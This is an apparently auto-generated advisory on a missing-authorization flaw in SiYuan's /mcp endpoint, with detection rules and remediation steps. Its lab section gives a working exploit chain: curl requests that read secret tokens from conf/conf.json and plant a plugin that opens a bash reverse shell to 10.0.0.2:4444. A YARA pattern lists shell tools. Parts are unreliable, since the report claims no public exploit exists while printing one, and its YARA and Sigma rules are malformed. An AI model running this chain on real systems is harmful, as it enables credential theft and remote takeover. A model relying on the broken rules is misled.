CVE-2026-66012
Executive Summary
CVE-2026-66012 is a critical missing authorization vulnerability in SiYuan (note-taking application) affecting versions before v3.7.2. The flaw resides in the POST /mcp kernel endpoint, which is protected only by a generic authentication check (model.CheckAuth) and fails to enforce admin‑role or read‑only restrictions. This exposes 31 MCP tools, including a file management tool capable of listing, reading, writing, deleting, renaming, and copying files across the entire workspace.
When the Publish server is enabled in anonymous mode (Conf.Publish.Enable=true, Conf.Publish.Auth.Enable=false), the reverse proxy attaches an anonymous RoleReader JWT to proxied requests. A remote unauthenticated attacker can then reach the /mcp endpoint and:
- Read
conf/conf.jsonto extractaccessAuthCode,api.token, andcookieKeyin plaintext. - Write arbitrary files within the workspace.
- Plant a malicious plugin into
data/plugins/that executes withnodeIntegration:trueand nocontextIsolationon the next desktop launch, leading to full administrator takeover.
No public proof‑of‑concept code has been released at this time, but the attack path is well‑defined and poses a severe risk to exposed SiYany instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SiYuan is a desktop application built on Electron. The vulnerability does not directly involve a package registry (NPM, PyPI, Go, Ruby). However, the ability to plant a plugin means an attacker can inject arbitrary JavaScript that runs within the Electron process. This could be leveraged to exfiltrate local credentials, access the file system, or pivot to internal networks. Users should verify the integrity of any plugins obtained from third‑party sources.
CVSS Breakdown & Threat Level
Although the NVD has assigned a CVSS score of 0.0, the attack characteristics strongly indicate a Critical severity:
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely |
| Attack Complexity (AC) | Low | No special conditions required |
| Privileges Required (PR) | None | No authentication needed when Publish server is in anonymous mode |
| User Interaction (UI) | None | No user action required |
| Scope (S) | Unchanged | Vulnerable component only |
| Confidentiality (C) | High | Full read access to config files and workspace |
| Integrity (I) | High | Arbitrary file write and plugin injection |
| Availability (A) | High | Plugin can execute arbitrary code affecting application stability |
Inferred CVSS Vector (not official): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Note: The official CVSS 0.0 may be due to incomplete scoring. The technical description leaves no doubt about the criticality.
Deep Dive & Mechanics
Root Cause
The POST /mcp endpoint in the SiYuan kernel is a JSON‑RPC interface providing 31 tools. The only access control is a call to model.CheckAuth, which verifies that a valid JWT token is present. Crucially, this check does not differentiate between user roles. Any token – including an anonymous RoleReader JWT – is accepted. The endpoint does not enforce Admin role or read‑only restrictions for sensitive file operations.
Attack Flow
- Prerequisite: The Publish server must be enabled in anonymous mode. This is a common configuration for public note sharing.
- Step 1 – Discovery: An attacker scans for exposed SiYuan Publish instances, typically on ports 6806 (default) or 443/80 if reverse‑proxied.
- Step 2 – Obtain Credentials: The attacker calls
POST /mcpwith a crafted payload to invoke the file tool’sreadaction onconf/conf.json. The response leaksaccessAuthCode,api.token, andcookieKey. - Step 3 – Lateral Movement: Using the extracted
api.token, the attacker can call other MCP endpoints (e.g., system commands) or directly access the kernel API. - Step 4 – Persistence via Plugin: The attacker writes a malicious JavaScript plugin to
data/plugins/(e.g.,exploit/index.js). The plugin registers a callback that executes upon the next desktop launch. - Step 5 – Takeover: When a desktop user restarts SiYuan, the plugin runs in a context with
nodeIntegration:trueand nocontextIsolation, granting full access to the Node.js process.
Affected Components
- SiYuan kernel (the backend process)
POST /mcpJSON‑RPC handler- Publish server proxy (conf/publish.yaml)
- Plugin loader (
data/plugins/)
Vulnerable vs. Patched Code
The patch (commit not publicly provided, but release notes for v3.7.2) introduces role‑based authorization in the /mcp handler. Vulnerable code may look like:
Vulnerable (pseudocode):
// /mcp handler
function handleMCP(req, res) {
let token = req.headers['authorization'];
if (!model.CheckAuth(token)) {
return res.status(401).send('Unauthorized');
}
// Process request without role check...
processTool(req.body, res);
}
Patched (pseudocode):
function handleMCP(req, res) {
let token = req.headers['authorization'];
let user = model.VerifyToken(token);
if (!user || user.role !== 'Admin') {
return res.status(403).send('Forbidden');
}
// Additional check: deny write operations for RoleReader
if (user.role === 'RoleReader' && isWriteOperation(req.body.method)) {
return res.status(403).send('Read-only');
}
processTool(req.body, res);
}
The patch also ensures that file operations outside the designated publish directory are forbidden.
Exploitation & Lab Setup
Disclaimer: The following is for authorized security testing and educational purposes only. Unauthorized exploitation is illegal.
Red Team (Attack Simulation)
Lab Environment:
- SiYuan v3.7.1 (vulnerable) installed on Linux x86_64
- Publish server enabled with
Conf.Publish.Enable=trueandConf.Publish.Auth.Enable=false - Attacker machine on same network
Step 1 – Identify target:
nmap -p 6806 <target_ip>
Step 2 – Verify anonymous access:
curl -v -X POST http://<target_ip>:6806/mcp \
-H "Content-Type: application/json" \
-d '{"method":"ping","params":[]}'
If response is {"result":"pong"}, anonymous access is confirmed.
Step 3 – Read config file:
curl -X POST http://<target_ip>:6806/mcp \
-H "Content-Type: application/json" \
-d '{"method":"file.read","params":{"path":"conf/conf.json"}}' | jq .
Extract accessAuthCode and api.token.
Step 4 – Plant malicious plugin:
# Create a simple plugin that spawns a reverse shell
payload='{
"name": "evil",
"version": "1.0.0",
"main": "index.js",
"scripts": {
"start": "node index.js"
}
}'
# Write package.json
curl -X POST http://<target_ip>:6806/mcp \
-H "Content-Type: application/json" \
-d '{"method":"file.write","params":{"path":"data/plugins/evil/package.json","content":'"$payload"'}}'
# Write index.js (reverse shell)
shell_js='const { exec } = require("child_process"); exec("bash -i >& /dev/tcp/10.0.0.2/4444 0>&1");'
curl -X POST ... -d '{"method":"file.write","params":{"path":"data/plugins/evil/index.js","content":"'"$shell_js"'"}}'
Step 5 – Wait for desktop launch and catch shell.
Blue Team (Detection & Response)
Detection in Logs:
- Monitor
POST /mcprequests from IPs that do not match known admin ranges. - Look for file read on
conf/conf.jsonorconf/conf.json.bak. - Alert on file writes to
data/plugins/– especially creation of new plugin directories.
Network Detection:
- Unusual JSON‑RPC requests with method
file.read,file.write,file.deletetargeting system paths. - Requests missing
Authorizationheader but succeeding (indicates anonymous access).
Endpoint Monitoring:
- Check for unexpected processes spawned from SiYuan (e.g., child
bashornodeprocesses). - Monitor filesystem for new files in
data/plugins/that contain obfuscated JavaScript.
Indicators of Compromise (IOCs)
| IOC Type | Indicator | Description |
|---|---|---|
| File | conf/conf.json read by unauthenticated user |
Targeted config file |
| File | data/plugins/<random>/index.js |
Malicious plugin file |
| File | data/plugins/<random>/package.json |
Plugin metadata |
| Network | HTTP POST to /mcp with method: "file.read" |
Suspicious MCP call |
| Network | HTTP POST to /mcp with method: "file.write" and path containing plugins |
Plugin injection |
| Network | HTTP request without Authorization header reaching /mcp |
Anonymous access indicator |
| Log | SiYuan logs containing Read config by anonymous (if custom logging) |
Pattern |
| Process | Child process bash or nc spawned from SiYuan kernel |
Reverse shell attempt |
Detection Engineering
YARA Rule
rule CVE_2026_66012_SiYuan_Plugin_Injection {
meta:
description = "Detects malicious SiYuan plugin files with shell or backdoor capabilities"
author = "Security Analyst"
date = "2025-04-09"
reference = "CVE-2026-66012"
strings:
$shell_cmds = /(exec|spawn|fork|child_process|child\.exec|bash|sh -i|nc -e|revshell|backconnect)/
$plugin_main = "main" ascii
$plugin_version = "\"version\"" ascii
condition:
// Must be inside a plugin directory under data/plugins/
( filesize < 100KB ) and
( for any of ($plugin_main, $plugin_version) : ( # ) )
and #shell_cmds > 0
}
Sigma Rule
title: CVE-2026-66012 - Unauthorized MCP File Access
id: a3c4f8e1-2b5d-4a7f-9c6e-8d1b3a2c5f6e
status: experimental
description: Detects attempts to read conf/conf.json via the MCP endpoint by anonymous users
logsource:
category: webserver
product: siyuan
service: mcp
detection:
selection:
cs-method: 'POST'
cs-uri: '/mcp'
cs-body|contains: 'conf/conf.json'
cs-body|contains: 'file.read'
c-user-agent: '' # or missing auth header
condition: selection
falsepositives:
- Legitimate administrators reading config for troubleshooting (should have admin token)
level: critical
tags:
- attack.t1190
- cve.2026-66012
Suricata Rule
alert http any any -> $SIYUAN_SERVER any (
msg:"CVE-2026-66012 - Suspicious MCP file.read request to conf.json";
flow:to_server;
content:"POST"; http_method;
content:"/mcp"; http_uri;
content:"file.read";
content:"conf/conf.json";
reference:cve,2026-66012;
classtype:attempted-admin;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions
- Upgrade to SiYuan v3.7.2 or later. This is the only complete fix.
- Disable anonymous Publish mode if not strictly required. Set
Conf.Publish.Auth.Enable=trueand configure strong authentication. - Update firewall rules to restrict access to port 6806 (or the Publish port) to trusted IPs only.
- Review existing plugins in
data/plugins/for any suspicious files. Remove any unknown plugins.
Compensating Controls (if upgrade is delayed)
- Deploy a Web Application Firewall (WAF) with rules blocking:
POSTrequests to/mcpthat containfile.readorfile.writein the body.- Requests lacking a valid
Authorizationheader (except known admin IPs).
- Harden the Publish reverse proxy to only allow read‑only operations (e.g., via a separate nginx configuration).
- Monitor logs for anomalous MCP calls and set up SIEM alerts on the Sigma/Suricata rules above.
Long‑Term Considerations
- Enable JWT role validation at the application level as soon as possible.
- Consider implementing a Content Security Policy (CSP) in the Electron renderer to limit plugin capabilities.
- Regularly audit configurations and review vendor security patches.
Valters IT signature: This report was generated by an automated DevSecOps analyst. Always validate technical details with your own testing and official vendor announcements.